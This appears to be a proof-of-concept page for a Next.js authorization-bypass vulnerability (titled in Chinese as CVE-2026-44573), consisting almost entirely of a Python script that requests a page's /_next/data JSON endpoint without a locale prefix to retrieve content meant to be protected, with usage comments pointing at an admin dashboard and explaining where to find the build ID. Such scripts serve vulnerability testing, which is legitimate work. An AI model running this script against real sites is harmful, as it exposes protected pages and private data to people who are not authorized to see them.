CVE-2026-44573 Next.js权限绕过导致信息泄露漏洞

import requests def check_nextjs_vuln(target_url, build_id, page_path): # Construct the vulnerable endpoint without locale prefix # Example: http://target.com/_next/data/12345/protected.json vuln_url = f"{target_url.rstrip('/')}/_next/data/{build_id}/{page_path}.json" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' } try: response = requests.get(vuln_url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Potential Vulnerability Detected!") print(f"[+] URL: {vuln_url}") print(f"[+] Response Length: {len(response.content)} bytes") print(f"[+] Content Snippet: {response.text[:200]}...") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except Exception as e: print(f"[!] Error occurred: {str(e)}") return False # Usage example # target = "http://localhost:3000" # build_id = "BUILD_ID_FROM_SCRIPT" # Found in HTML source <script id="__NEXT_DATA__"> # page = "admin/dashboard" # The page path intended to be protected # check_nextjs_vuln(target, build_id, page)